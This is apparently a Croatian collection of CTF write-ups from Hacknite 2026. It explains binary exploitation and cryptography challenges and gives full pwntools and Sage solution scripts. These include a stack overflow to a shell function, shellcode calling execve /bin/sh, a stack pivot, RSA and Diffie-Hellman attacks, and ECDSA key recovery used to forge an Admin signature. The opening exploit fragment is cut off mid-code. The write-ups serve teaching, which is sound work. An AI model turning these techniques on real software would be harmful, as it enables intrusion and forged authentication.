b"WHITE"] if args.D: p = gdb.debug("./a.out", "c") elif args.R: p = remote("HOST", port) else: p = process("./a.out") p.sendline() p.sendline() payload = b"A" * 0x400 p.send(payload) sleep(1) for _ in range(0x400): p.sendline("RETURN") strcmp_addr = e.sym["got.strcmp"] exit_addr = e.sym["got.exit"] colorize = 0x4024da system_plt = 0x4020f0 effects = e.sym["effects"] for _ in range(effects - strcmp_addr): p.sendline(b"RETURN") for _ in range(8): p.sendline(b"ERASE") for _ in range(8): p.sendline(b"RETURN") def setup_byte(byte): for i in range(8): if(b & (1< ====Fix Me==== Treba mi pomoć! Funkcija mi ne radi ispravno. Dajem ti source kod da vidiš što treba raditi. Molim te, popravi ju. Spoji se na servis naredbom netcat: nc chal.hacknite.hr 19001 ===Kontekst zadatka=== Dana je binarna datoteka s izvornim kodom: void funkcija(){ long a = 5; int b = 100; short brojevi[10]; long rezultat = 0; for(int i = 0; i < 100; i++){ rezultat++; brojevi[i%10] = 3 + b/a; b -= a; a += b; rezultat *= a+b; rezultat = rezultat % 2^15; } printf("Rezultat je: %ld\n", rezultat); } int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); printf(banner); printf("\n\nMoja funkcija se krivo kompajlirala" ", možeš li joj popraviti bajtove?\n\n"); while(1){ printf("Run or fix? "); char buf[8]; fgets(buf, 8, stdin); if (strncmp("run", buf, 3) == 0) funkcija(); else if (strncmp("fix", buf, 3) == 0) { unsigned char* byte = (unsigned char*) &funkcija; while(*byte != 0xc3) { printf("0x%02X -> ", *byte); unsigned char new_byte; scanf("0x%hhx", &new_byte); getchar(); *byte = new_byte; byte++; } printf("\n"); } } return 0; } Korisnik ima opciju pokretanja funkcije ''funkcija'' unosom "run" ili popravljanja iste funkcije unosom "fix". Unosom "fix" korisnik prepisuje bajtove funkcije ''funkcija''. ===Ranjivost i ideja napada=== S obzirom na to da korisnik upisuje bajtove funkcije koja se kasnije pozivaju, radi se o unosu shellcodea. Potrebno je generirati shellcode za pozivanje ljuske. Rješenje koristi instrukciju syscall. ===Rješenje=== from pwn import * context.arch = "amd64" context.os = "linux" e = ELF("a.out") funkcija = e.sym["funkcija"] shellcode = asm(f""" xor rsi, rsi xor rdx, rdx mov rdi, {funkcija + 22} mov rax, 59 syscall """) if args.D: gdb.debug("./a.out") elif args.R: p = remote(HOST, PORT) else: p = process("./a.out") p.sendline(b"fix") for b in shellcode: p.sendline(hex(b).encode()) for b in b"/bin/sh\x00": p.sendline(hex(b).encode()) p.sendline(b"a"*100) p.clean(0.5) p.sendline(b"run") p.interactive() ====Sladoledarnica==== Ljeto je završilo, ali uvijek je vrijeme za sladoled. Naruči svoje kuglice! Spoji se na servis naredbom netcat: nc chal.hacknite.hr 19002 ===Kontekst zadatka=== {{ hacknite2026:sladoledarnica.gif?nolink&500 | Sladoledarnica}} Dan je izvorni kod: ... char* unos_narudzba; int idx; int unos_idx; void kupon(){ FILE* flag = fopen("./flag.txt","r"); char buf[30] = {0}; fread(buf,1,29,flag); char buf2[200] = {0}; snprintf(buf2,200, "Hvala na kupnji!\n" "Nadamo se da ste uživali u sladoledu.\n" "Iskoristite ovaj kupon idući put: %s\n", buf); puts(buf2); } unsigned long narudzba(){ unos_narudzba = (char *) malloc(0x1000); unsigned long cijena; char* odabrani_sladoled[5] = {0}; ponovi: memset(unos_narudzba, 0, 0x1000); cijena = 0; idx = 0; unos_idx = 0; printf("Koja je vaša narudžba? Slobodno nam ostavite i komentar!\n> "); fgets(unos_narudzba, 0x1000, stdin); for(; (idx < sizeof(odabrani_sladoled)) && (unos_idx < 0x1000); unos_idx++){ for(volatile int i = 0; i < 6; i++){ if ((strncmp(sladoled[i].okus, unos_narudzba+unos_idx, strlen(sladoled[i].okus))) == 0){ odabrani_sladoled[idx++] = unos_narudzba + unos_idx; cijena += sladoled[i].cijena; break; } } if ((strncmp("ponovi", unos_narudzba+unos_idx, 6)) == 0) goto ponovi; if ((strncmp("gotovo", unos_narudzba+unos_idx, 6)) == 0) break; } if (cijena > 5) { printf("Odabrali ste više od 5 kuglica.\n"); exit(0); } return cijena; } int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); puts(banner); printf( "Dobrodošli u ovogodišnju sladoledarnicu!\n\n" "U ponudi su fini okusi poput %s, %s, %s i mnogi drugi.\n" "Možete odabrati najviše pet kuglica.\n" "Na kraju nemojte zaboraviti platiti!\n", sladoled[0].okus, sladoled[1].okus, sladoled[2].okus); unsigned long cijena = narudzba(); printf("Cijena vašeg sladoleda je %lu €. Doviđenja!\n", cijena); return 0; } Program od korisnika traži unos narudžbe sladoleda. Ima opciju upisati okuse poput vanilije i čokolade, ali i opciju ponavljanja narudžbe unosom "ponovi". ===Ranjivost i ideja napada=== Ranjivost programa nalazi se u liniji: for(; (idx < sizeof(odabrani_sladoled)) && (unos_idx < 0x1000); unos_idx++){ Sizeof() operator vraća veličinu polja u bajtovima, a ne broj članova polja. Drugim riječima, varijabla ''idx'' bit će veća od pet ako korisnik upiše više od pet okusa sladoleda. Time korisnik dobije unos heap adresa na stog. Unos heap adrese na poziciju return adrese srušit će program, što znači da nije moguća klasična izmjena toka programa. Međutim, prije return adrese nalazi se spremljena vrijednost RBP registra, što dopušta stack pivot. Ako se u unosu narudžbe krivotvori okvir stoga s return adresom funkcije ''kupon'' te se spremljena vrijednost RBP registra izmijeni na adresu okvira, na izlazu iz ''main'' funkcije pozvati će se ''kupon''. ===Rješenje=== from pwn import * e = ELF("./a.out") r = ROP("./a.out") if args.D: p = gdb.debug("./a.out") elif args.R: p = remote(HOST, PORT) else: p = process("./a.out") p.sendline(b"A" * 0x900 + b"vanilija"*7 + b"ponovi") length = len(b"vanilija" * 6) + 0x900 kupon = e.sym["kupon"] payload = b"A" * length + p64(12345678) + p64(r.ret.address) + p64(kupon) + b"gotovo" p.sendline(payload) p.interactive() Napomena: b"A" * 0x900 se šalje kako bi stog imao dovoljno prostora za pozive unutar ''kupon'' funkcije bez rušenja programa. ====Warmup==== Vrijeme je za binarnu eksploataciju! Zagrij se uz ovaj zadatak. Spoji se na servis naredbom netcat: nc chal.hacknite.hr 19000 ===Kontekst zadatka=== Dana je binarna datoteka s izvornim kodom: #include #include void ret2win(){ system("/bin/sh"); } int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); system("printf \"Hacknite 2026\nWarmup\n\" | figlet"); printf("Pozdrav!\n" "Kako se zoveš?\n> "); char buf[0x20] = {0}; scanf("%s", buf); printf("Bok %s, drago mi je.\n", buf); return 0; } Program pita korisnika za ime i ispisuje string s imenom. ===Ranjivost i ideja napada=== Riječ je o jednostavnom ret2win napadu. Funkcija ''scanf'' koristi parametar ''%s'', što je nesiguran način unosa stringa jer je neograničena veličina. Time korisnik ima stack buffer overflow kojim može prepisati return adresu na ''ret2win'' funkciju. ===Rješenje=== from pwn import * e = ELF("./a.out") r = ROP("./a.out") if args.D: p = gdb.debug("./a.out") elif args.R: p = remote(HOST, PORT) else: p = process("./a.out") p.sendline(b"A" * 0x28 + p64(r.ret.address) + p64(e.sym["ret2win"])) p.interactive() ======Kriptografija====== ====Beginner RSA==== Priložena je jednostavna RSA enkripcija nad tajnom porukom. Možeš li ju dekriptirati? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16000 ===Kontekst zadatka=== Izvorni kod: #!/usr/bin/python3 from Crypto.Util.number import * import os flag = b"CTF2026[????????????]" flag = bytes_to_long(flag) N = getPrime(512) * getPrime(512) e = 123 C = pow(flag,e,N) os.system("figlet Beginner RSA") print(f"\nN = {N}") print(f"C = {C}") Korisniku se ispiše modulo ''N'' i enkripcija zastavice javnim ključem 123. ===Ranjivost i ideja napada=== Ranjivost je korištenje malenog javnog eksponenta. Sakupljanjem dovoljno parova enkripcije i modula ''N'', korisnik može rekonstruirati rezultat eksponencije i vrijednosti zastavice. ===Rješenje=== from Crypto.Util.number import * from sage.all import * from pwn import * moduli = [] enc = [] for i in range(21): if args.R: p = remote(HOST, PORT) else: p = process(["python3", "zadatak.py"]) p.recvuntil(b"N = ") N = p.recvline()[:-1] p.recvuntil(b"C = ") C = p.recvline()[:-1] moduli.append(int(N)) enc.append(int(C)) if args.R: p.close() else: p.kill() m = crt(enc, moduli) print(long_to_bytes(m.nth_root(123))) ====Diffie Hellman==== Implementiran je jednostavni algoritam Diffie-Hellman za kreiranje simetričnog ključa. Možeš li saznati privatni ključ? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16001 ===Kontekst zadatka=== Dan je izvorni kod sa sakrivenom zastavicom: #!/usr/bin/python3 from Crypto.Util.number import * import os flag = b"CTF2026[????????????]" flag = bytes_to_long(flag) N = getPrime(128) G = getPrime(20) os.system("figlet -f big Diffie Hellman") print(f"\nN = {N}") print(f"G = {G}\n") print(f"Moj dio ključa: {pow(G,flag,N)}") try: key = int(input("Tvoj dio ključa: ")) % N except: exit() key = pow(key,flag,N) poruka = bytes_to_long(b"Hacknite 2026") print(f"Poruka: {poruka^key}") Implementiran je jednostavni algoritam Diffie Hellman. Korisniku se pošalju generator ''G'', modulo ''N'' i poslužiteljev dio ključa pri čemu je tajni eksponent zastavica. Zatim, od korisnika se traži njegov dio ključa nakon čega se šalje enkriptirana poruka "Hacknite 2026". ===Ranjivost i ideja napada=== Ranjivost je primanje proizvoljnog ključa bez provjere reda generatora. Korisnik može izvesti Pohlig-Hellman napad, odnosno poslati generatore manjeg reda i skupljati podatke o dobivenim rezultatima. Nakon dovoljno sakupljenih podataka, korištenjem CRT algoritma, korisnik može rekonstruirati tajni ključ. ===Rješenje=== from sage.all import * from Crypto.Util.number import * from pwn import * M = 1 factors = [] remainders = [] poruka = bytes_to_long(b"Hacknite 2026") while(len(bin(M))<171): if args.R: p = remote(HOST, PORT) else: p = process(["python3","zadatak.py"]) p.recvuntil(b"N = ") N = int(p.recvline()[:-1]) p.recvuntil(b"G = ") G = int(p.recvline()[:-1]) p.recvuntil("Moj dio ključa: ".encode("UTF-8")) key1 = int(p.recvline()[:-1]) for f,n in factor(N-1): l = len(bin(f)) - 2 if l > 18: continue if f not in factors and n == 1: F = GF(N) G2 = F(G) G2 = pow(G2, (N-1)//f, N) while(G2 == 1): G2 = F(getPrime(25)) G2 = pow(G2, (N-1)//f, N) p.sendline(str(int(G2)).encode()) p.recvuntil(b"Poruka: ") target = int(p.recvline()[:-1]) ^ poruka for r in range(0,f): if pow(G2,r,N) == target: factors.append(f) M *= f remainders.append(r) break break if args.R: p.close() else: p.kill() print(remainders, factors) flag = crt(remainders, factors) print(long_to_bytes(flag)) ====Easy XOR==== flag.enc je enkriptirani flag u uobičajenom formatu. Znamo da je enkriptiran pomoću XOR-a, korištenjem ključa koji je kraći od zastavice i ciklički se ponavlja, no ključ ni njegova duljina nisu poznati. Možete li dešifrirati flag? Također je poznat i bcrypt hash flaga: $2y$14$nJYvy7QPUEO.ZrDuznzekeoqsczV0652HwW2g1WPfhSjphnpUNyiq ===Kontekst zadatka=== Dana je enkripcija zastavice i opis zadatka u kojemu je otkriveno da je korišten ključ kraći od zastavice te se ciklički ponavlja. Također je dan ''bcrypt'' sažetak zastavice. Pošto je ''bcrypt'' komputacijski vrlo zahtjevan algoritam, potrebno je smanjiti broj mogućih kandidata na što manji skup prije zadnjeg koraka pronalaska zastavice s pomoću ''bcrypt'' sažetka. ===Rješenje=== #!/usr/bin/env python3 PREFIX = b"CTF2026[" SUFFIX = b"]" with open("flag.enc", "rb") as f: ct = f.read() N = len(ct) def candidates_for_key_position(key_len, key_pos): candidates = set(range(256)) for i in range(N): if i % key_len != key_pos: continue if i < len(PREFIX): allowed_plaintext = [PREFIX[i]] elif i == N - 1: allowed_plaintext = [ord("]")] else: allowed_plaintext = range(ord("0"), ord("9") + 1) allowed_key = { ct[i] ^ p for p in allowed_plaintext } candidates &= allowed_key return sorted(candidates) def get_key_candidates(key_len): return [ candidates_for_key_position(key_len, k) for k in range(key_len) ] def decrypt(key): return bytes( ct[i] ^ key[i % len(key)] for i in range(N) ) print(f"[+] Ciphertext length: {N}") print("[+] Searching for KEY_LEN...\n") possible_lengths = [] for key_len in range(1, N): candidates = get_key_candidates(key_len) if all(candidates): possible_lengths.append((key_len, candidates)) print(f"[+] KEY_LEN={key_len} is possible") else: print(f"[-] KEY_LEN={key_len} impossible") if len(possible_lengths) != 1: print() print(f"[!] Expected exactly one key length, found {len(possible_lengths)}") exit(1) key_len, candidates = possible_lengths[0] print() print("=" * 70) print(f"[+] UNIQUE KEY_LEN = {key_len}") print("=" * 70) print() print("[+] Key byte candidates:") for i, c in enumerate(candidates): print(f" key[{i:2}] = {c}") import itertools num_combinations = 1 for c in candidates: num_combinations *= len(c) print() print(f"[+] Total possible keys: {num_combinations:,}") print("[+] Searching for valid flag...\n") solutions = [] for key_tuple in itertools.product(*candidates): key = bytes(key_tuple) plaintext = decrypt(key) if not plaintext.startswith(PREFIX): continue if not plaintext.endswith(SUFFIX): continue middle = plaintext[len(PREFIX):-len(SUFFIX)] if not middle: continue if not all(48 <= b <= 57 for b in middle): continue solutions.append((key, plaintext)) print("=" * 70) if not solutions: print("[!] No valid key/flag found.") exit(1) print(f"[+] Found {len(solutions)} solution(s)") print("=" * 70) for n, (key, flag) in enumerate(solutions, 1): print() print(f"Solution #{n}") print("-" * 40) print(f"KEY_LEN : {len(key)}") print(f"KEY HEX : {key.hex()}") print(f"KEY : {key!r}") print(f"FLAG : {flag.decode()}") import bcrypt FLAG_HASH = b"$2y$14$nJYvy7QPUEO.ZrDuznzekeoqsczV0652HwW2g1WPfhSjphnpUNyiq" print() print("=" * 70) print(f"[+] Testing {len(solutions)} candidate flags against bcrypt hash") print("=" * 70) for n, (key, flag) in enumerate(solutions, 1): print(f"[+] Checking candidate {n}/{len(solutions)}: {flag.decode()}") if bcrypt.checkpw(flag, FLAG_HASH): print() print("=" * 70) print("[+] MATCH FOUND") print("=" * 70) print(f"KEY_LEN : {len(key)}") print(f"KEY HEX : {key.hex()}") print(f"KEY : {key!r}") print(f"FLAG : {flag.decode()}") print("=" * 70) break else: print() print("[!] None of the candidates matched the bcrypt hash.") ====ECC Log In==== Kako bi se korisnik autentificirao, dodijeljen mu je ECC potpis nakon registracije. Možeš li pronaći grešku u implementaciji? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16005 ===Kontekst zadatka=== Dan je izvorni kod: #!/usr/bin/python3 from Crypto.Util.number import * import random, time, os from ECC import * from secret import * Q = scale(G, d) def log_in(): try: username = input("Unesi korisničko ime: ") signature = input("Unesi potpis korisničkog imena: ").strip("()").split(",") h = bytes_to_long(username.encode("UTF-8")) r, s = int(signature[0]) % n, int(signature[1]) % n if r == 0 or s == 0: print("Krivotvoren potpis") exit() s_inv = inverse(s, n) u1 = (h * s_inv) % n u2 = (r * s_inv) % n R_1 = scale(G, u1) R_2 = scale(Q, u2) R = add(R_1, R_2) if (R.x % n) == r: print(f"Dobrodošao {username}") if username == "Admin": print(f"{flag=}") else: print("Neispravan potpis") exit() except: exit() def register(): try: username = input("Unesi korisničko ime: ") u = bytes_to_long(username.encode("UTF-8")) u = u % n username = long_to_bytes(u).decode("UTF-8") if username == "Admin": print("Zabranjeno") exit() h = bytes_to_long(username.encode("UTF-8")) random.seed(int(time.time()) + d % 1000) k = random.randint(1, n-1) R = scale(G, k) r = R.x % n s = 0 while (s == 0): while(r == 0): k = random.randint(1, n-1) R = scale(G, k) r = R.x % n s = (inverse(k, n) * (h + r * d)) % n signature = (r, s) print(f"Potpis = {signature}") except Exception as e: print(e) exit() os.system("figlet -f big ECC Log In") print("\nOdaberi opciju:") print("1. Registracija\n2. Prijava") opcija = input("Opcija [1/2]: ") if opcija == "1": register() elif opcija == "2": log_in() Korisniku su ponuđene opcije registracije i prijave. Kako bi se registrirao, potrebno je unijeti korisničko ime nakon čega poslužitelj vraća digitalni potpis korisničkog imena. Da bi se korisnik prijavio, potrebno je unijeti korisničko ime i ispravni digitalni potpis. ===Ranjivost i ideja napada=== Ranjivost u implementaciji je predvidljivi seed za random modul u liniji: random.seed(int(time.time()) + d % 1000) Bruteforce napadom moguće je saznati korišteni nonce i dobiti privatni ključ formulom: ''d = (s * k - h) * r^-1 % n''. Jednom kada je tajni ključ poznat, može se krivotvoriti potpis za admina: ''s = k^-1 * (h + r * d) % n''. ===Rješenje=== from pwn import * from Crypto.Util.number import * from ECC import * import time, random if args.R: p = remote(HOST, PORT) else: p = process("./zadatak.py") p.sendline(b"1") p.recvuntil("Unesi korisničko ime: ".encode("UTF-8")) p.sendline(b"gibberish") t = int(time.time()) p.recvuntil(b"Potpis = ") signature = p.recvline()[:-1].strip(b"()").split(b",") r, s = int(signature[0]), int(signature[1]) if args.R: p.close() else: p.kill() # s = k^-1 * (h + r * d) % n # d = (s * k - h) * r^-1 % n h = bytes_to_long(b"gibberish") for i in range(0,1000): t1 = t + i random.seed(t1) k = random.randint(1, n-1) r1 = scale(G,k).x % n if r1 == r: break if r1 != r: exit() d = (s * k - h) * inverse(r,n) % n Q = scale(G,d) h = bytes_to_long(b"Admin") k = 1 r = G.x % n s = (inverse(k, n) * (h + r * d)) % n if args.R: p = remote(HOST, PORT) else: p = process("./zadatak.py") p.sendline(b"2") p.recvuntil("Unesi korisničko ime: ".encode("UTF-8")) p.sendline(b"Admin") p.sendline(f"({r},{s})".encode()) p.recvuntil(b"flag=") print(p.recvline()[:-1]) ====Play fair==== Pronađen je čudan program sa sakrivenom porukom. Možeš li saznati koje je značenje poruke? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16002 ===Kontekst zadatka=== {{ hacknite2026:playfair.gif?nolink&500 | Playfair }} Izvorni kod: #!/usr/bin/python3 from secret import * import os, time, sys characters = [ chr(b) for b in range(32, 127) ] table = [] for char in phrase: if char not in table and char in characters: table.append(char) for char in characters: if char not in table: table.append(char) key = [[0 for _ in range(19)] for _ in range(5)] index = 0 for row in range(5): for col in range(19): key[row][col] = table[index] index += 1 def find_position(char, key): for row in range(5): for col in range(19): if key[row][col] == char: return row, col return None def encrypt(text, key): cipher = "" for c in text: if c not in characters: print("Simbol nije dozvoljen") exit(0) if len(text) % 2 == 1: text += "." for i in range(len(text)//2): pair = text[i*2:i*2+2] if pair[0] == pair[1]: pair = pair[0] + "." row1, col1 = find_position(pair[0], key) row2, col2 = find_position(pair[1], key) if row1 == row2: col1 = (col1 + 1) % 19 col2 = (col2 + 1) % 19 cipher += key[row1][col1] + key[row2][col2] elif col1 == col2: row1 = (row1 + 1) % 5 row2 = (row2 + 1) % 5 cipher += key[row1][col1] + key[row2][col2] else: tmp1 = col1 col1 = col2 col2 = tmp1 cipher += key[row1][col1] + key[row2][col2] return cipher def decrypt(cipher, key): text = "" for c in cipher: if c not in characters: print("Simbol nije dozvoljen") exit(0) if len(cipher) % 2 == 1: print("Krivi ciphertext") exit() for i in range(len(cipher)//2): pair = cipher[i*2:i*2+2] row1, col1 = find_position(pair[0], key) row2, col2 = find_position(pair[1], key) if row1 == row2: col1 = (col1 - 1) % 19 col2 = (col2 - 1) % 19 text += key[row1][col1] + key[row2][col2] elif col1 == col2: row1 = (row1 - 1) % 5 row2 = (row2 - 1) % 5 text += key[row1][col1] + key[row2][col2] else: tmp1 = col1 col1 = col2 col2 = tmp1 text += key[row1][col1] + key[row2][col2] return text with open("/ctf/table.txt") as f: table = f.read().split("\n") os.system("clear") os.system("figlet -f big PlayFair") encryption = encrypt(flag, key) skip = input("\nPrikaži enkripciju? [Y/n]: ") if skip != "n": print("Flag enkripcija: ") for i in range(len(encryption)): char = encryption[i] row, col = find_position(char, key) for bg in ["\033[41m", ""]: output = "" for j in range(5): output += table[j*2] + "\n" content = table[j*2+1] if bg and j == row: # Highlight only the character at this position pos = 0 # Add content before the highlighted character output += content[pos:col*4+1] # Add the highlighted character output += bg + content[col*4+1:col*4+4] + "\033[0m" pos = col*4+4 # Add the rest of the content output += content[pos:] + "\n" else: output += content + "\n" output += table[10] print(output) sys.stdout.flush() time.sleep(1) print("\033[11A", end="") print("\033[J", end="") sys.stdout.flush() print("\033[1A\033[J", end="") sys.stdout.flush() try: print("\033[1A\033[J", end="") sys.stdout.flush() while(True): plaintext = input("Poruka: ") print("Enkripcija:", encrypt(plaintext, key)) except: exit() Zadatak koristi Playfair algoritam nad tablicom veličine 5*19. Kada se pokrene, nudi opciju prikazivanja enkripcije zastavice nakon čega enkriptira unos korisnika u petlji. Za šifriranje poruke, poruka se podijeli u skupine od 2 slova tako da, na primjer, "HelloWorld" postaje "HE LL OW OR LD". Ti će se parovi zamijeniti s pomoću tablice. Budući da šifriranje zahtijeva parove slova, porukama s neparnim brojem znakova obično se dodaje poseban simbol, u ovom slučaju ''.''. Dva slova smatraju se suprotnim kutovima pravokutnika u ključnoj tablici. Za provedbu zamjene primjenjuju se sljedeća 4 pravila, redom, na svaki par slova: 1. Ako su oba slova ista (ili je ostalo samo jedno slovo), dodajte ''.'' nakon prvog slova. Šifrirajte novi par i nastavite. 2. Ako se slova pojavljuju u istom retku tablice, zamijenite ih slovima koja se nalaze neposredno desno od njih (prelazeći na lijevu stranu retka ako je slovo iz izvornog para bilo na desnoj strani retka). 3. Ako se slova pojavljuju u istom stupcu tablice, zamijenite ih slovima koja se nalaze neposredno ispod njih (prelazeći na gornju stranu stupca ako je slovo iz izvornog para bilo na donjoj strani stupca). 4. Ako slova nisu u istom retku ni stupcu, zamijenite ih slovima u istom retku, ali na drugom paru kutova pravokutnika određenog izvornim parom. Redoslijed je važan – prvo slovo šifriranog para je ono koje se nalazi u istom retku kao prvo slovo para otvorenog teksta. ===Ranjivost i ideja napada=== Ranjivost programa je kontinuirano kriptiranje proizvoljnog unosa. Kako bi se zadatak riješio, potrebno je rekonstruirati tablicu koja se koristi za šifriranje. Kako bi se tablica rekonstruirala, moraju se dobiti odnosi simbola u retcima i stupcima tablice. Ako se kao poruka pošalje ''..'', enkripcija vraća ''UU''. To znači da se u istom retku desno od znaka ''.'' nalazi ''U''. Ako se zatim pošalje ''UU'' enkripcija vraća ''vU'' što znači da se desno od znaka ''U'' nalazi ''v''. Dokle god se pošalju dva znaka u istom retku, enkripcija će vratiti znakove desno od njih. Ovim postupkom može se dobiti redoslijed svih znakova u retku, ali ne zna se koji im je pravi indeks u njemu. Ovaj redak će se nazivati prvobitno dobiveni redak u nastavku teksta. Kako bi se rekonstruirali ostali retci/stupci u tablici šalje se znak koji još nije pojavio te bilo koji znak iz prvobitno dobivenog retka. Ovisno o vraćenoj enkripciji, odnos poslanih znakova može biti idući: 1. Oba znaka se nalaze u istom stupcu, ali različitom retku. 2. Oba znaka se nalaze u različitom stupcu i retku. Ako oba znaka enkripcije nisu u prvobitno dobivenom retku, radi se o slučaju 1. Time otkrivamo koji znak se nalazi ispod odabranog znaka u prvobitno dobivenom retku. Ako je u enkripciji drugi znak član prvobitno dobivenog retka, radi se o slučaju 2. Poseban slučaj je ako su poslana dva znaka u istom stupcu, ali prvi znak se nalazi iznad drugog. Time u enkripciji prvi znak je jednak drugome u poslanoj poruci. Praćenjem ovih pravila mogu se rekonstruirati odnosi znakova u tablici, no još uvijek nije poznat njihov pravi indeks. Kako bi se dobio indeks, potrebno je iskoristiti enkripciju zastavice prikazanu na početku programa. Zastavica počinje znakovima ''CT'', a njihova enkripcija je ''FV''. To znači da su u enkripciji prikazani indeksi znaka ''F'' i zatim ''V''. Ako se konstruirana tablica fiksira na indekse tako da se ''F'' nalazi na indeksu koji je prikazan u tablici na početku programa, uspješno je rekonstruirana tablica. Sve što je preostalo jest pratiti indekse dane u enkripciji zastavice i otkriti koji znakovi su prikazani. ===Rješenje=== from pwn import * #p = process("./zadatak.py") p = remote(HOST, PORT) p.sendline(b"n") table = [[" " for _ in range(19)] for i in range(5)] found_chars = [] last_char = b"." def get_row(): for i in range(19): global last_char p.sendline(last_char * 2) p.recvuntil(b"Enkripcija: ") last_char = p.recvline()[0:1] table[0][i] = last_char found_chars.append(last_char) def get_column(char, idx): column = [] p.sendline(char+table[0][idx]) p.recvuntil(b"Enkripcija: ") enc = p.recvline()[:-1] b1 = enc[0:1] b2 = enc[1:] if b1 == table[0][idx]: #char iznad table[0][idx] column.append(char) column.append(table[0][idx]) column.append(b2) for i in range(2): c1 = column[-2] c2 = column[-1] p.sendline(c1+c2) p.recvuntil(b"Enkripcija: ") b2 = p.recvline()[1:2] column.append(b2) return (column, idx) elif b2 in table[0]: #char u drugom retku i stupcu idx2 = table[0].index(b2) return get_column(char, idx2) else: #char u istom stupcu column.append(char) column.append(b1) for i in range(3): c1 = column[-2] c2 = column[-1] p.sendline(c1+c2) p.recvuntil(b"Enkripcija: ") b2 = p.recvline()[1:2] column.append(b2) return (column, idx) get_row() def print_table(table): for i in range(5): print(table[i]) for i in range(32,127): if chr(i).encode() not in found_chars: column, idx = get_column(chr(i).encode(), 0) idx2 = column.index(table[0][idx]) for j in range(4): table[1+j][idx] = column[(idx2+1+j) % 5] found_chars.append(column[(idx2+1+j) % 5]) # Index 3,4 je u prikazu enkripcije. "CT" iz CTF2026[...] se # pretvori u "FV". Potrebno je namjestiti tablicu da se F nalazi na # indeksu 3,4. indexes = [ (3,4) , (3,18), (3,8), (2,4), (2,8), (2,9), (2,4), (4,11), (1,8), (2,7), (1,9), (2,5), (1,12), (2,11), (1,10), (1,8), (2,11), (1,12), (1,6), (1,2), (4,1), (1,6)] def get_index(char, table): for i in range(5): for j in range(19): if table[i][j] == char: return i, j row, col = get_index(b"F", table) key = [["" for i in range(19)] for _ in range(5)] for i in range(5): for j in range(19): key[(3+i) % 5][(4+j) % 19] = table[(row + i) % 5][(col + j) % 19] # Kopirano iz zadatak.py i uređeno def decrypt(cipher, key): text = b"" for i in range(len(cipher)//2): pair = cipher[i*2:i*2+2] row1, col1 = get_index(pair[0:1], key) row2, col2 = get_index(pair[1:], key) if row1 == row2: col1 = (col1 - 1) % 19 col2 = (col2 - 1) % 19 text += key[row1][col1] + key[row2][col2] elif col1 == col2: row1 = (row1 - 1) % 5 row2 = (row2 - 1) % 5 text += key[row1][col1] + key[row2][col2] else: tmp1 = col1 col1 = col2 col2 = tmp1 text += key[row1][col1] + key[row2][col2] return text decryption = b"" for i in range(len(indexes)//2): row1, col1 = indexes[i*2] row2, col2 = indexes[i*2+1] enc = key[row1][col1] + key[row2][col2] decryption += decrypt(enc, key) print(decryption) ====Hash it out==== Razvijen je novi hashing algoritam koji je trenutačno u beta testiranju. Možete li pronaći ranjivost tako da otkrijete koji je bio uneseni flag iz kojega je dobiven "flag hash" prikazan spajanjem na zadatak? Možete slati 3 zahtjeva po minuti, ali u svakom zahtjevu možete zadati 500 unosa odvojenih zarezom za izračun hasha. Napomena: Flag je u uobičajenom formatu ( CTF2026[<12 znamenki>] ) Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16003 ===Kontekst zadatka=== Nije dan izvorni kod. Iz opisa zadatka: Nepoznati hash algoritam. Rate limit je 3 zahtjeva po minuti gdje jedan zahtjev može poslati 500 unosa za koje poslužitelj vraća hasheve. ===Ranjivost i ideja napada=== Svaka pozicija u unosu utječe na samo 3-5 (nasumičnih) izlaznih pozicija gdje izlazne pozicije mogu biti iste. PRNG koji određuje koja ulazna pozicija utječe na koje izlazne pozicije se temelji na dužini unosa te je poznato da je zastavica duljine 21. Statistički, za određenu dužinu unosa, na neku izlaznu poziciju će utjecati samo jedna jedina pozicija unosa. Ovakve izlazne pozicije su "sidra" (eng. anchor). Kad se detektiraju, mogu se sa sigurnošću riješiti unutar 10 zahtjeva jer njihove vrijednosti mogu biti jedino znamenke ''0-9''. Jedno "sidro" izlazne pozicije sa sigurnošću određuje koji je znak na jednoj unosnoj poziciji, čime se riješe i ostale 2-4 pozicije na koje ta unosna pozicija utječe. Tako neke izlazne pozicije na koje utječu 3,4 ili 5 ulaznih pozicija, nakon rješavanja svih "sidrenih" pozicija padaju u kompleksnosti, neke indirektno budu riješene ili postaju nove sidrene pozicije. Ovakvim pristupom brzo se rekonstruira traženi input. U većini slučajeva je dovoljno 4 zahtjeva ili manje. ===Rješenje=== import time import sys from pwn import * HOST = "chal.platforma.hacknite.hr" PORT = 14045 FIND_ALL_COLLISIONS = True context.log_level = 'error' class Oracle: def __init__(self): self.p = None self.target_hash = "" self.minute_start = 0 self.requests_this_minute = 0 self.total_network_requests = 0 self.connect() def connect(self): if self.p: self.p.close() print("\n[*] (Re)Connecting to Oracle... (Waiting 3s for server delay)") self.p = remote(HOST, PORT) self.p.recvuntil(b"Flag Hash: ") self.target_hash = self.p.recvline().strip().decode() self.p.recvuntil(b"requests...\n\n") self.minute_start = time.time() self.requests_this_minute = 0 def get_hashes(self, payloads): now = time.time() if now - self.minute_start > 60: self.minute_start = now self.requests_this_minute = 0 if self.requests_this_minute >= 3: sleep_time = 60 - (now - self.minute_start) + 1 print(f"\n[SYSTEM] Rate limit approaching (3 req/min).") print(f"[*] Sleeping for {sleep_time:.1f} seconds to respect limits (Connection kept alive)...") time.sleep(sleep_time) self.minute_start = time.time() self.requests_this_minute = 0 self.requests_this_minute += 1 self.total_network_requests += 1 print(f"\n[NETWORK] Sending Request #{self.total_network_requests} (Batch Size: {len(payloads)}/100)") batched_payload = ",".join(payloads) self.p.sendline(batched_payload.encode()) resp = self.p.recvline().strip().decode() hashes = resp.split(",") if self.target_hash in hashes: win_idx = hashes.index(self.target_hash) winning_payload = payloads[win_idx] print("\n" + "="*50) print(" SERVER VALIDATED COLLISION ") print(f" -> Winning Payload: {winning_payload}") try: victory_text = self.p.recvall(timeout=1).decode().strip() print(f"\n{victory_text}") except: pass print("="*50 + "\n") if not FIND_ALL_COLLISIONS: sys.exit(0) else: print("[!] FIND_ALL_COLLISIONS is True. Reconnecting to continue search...") self.connect() return [] # Returning empty array forces the solver to backtrack return hashes oracle = Oracle() 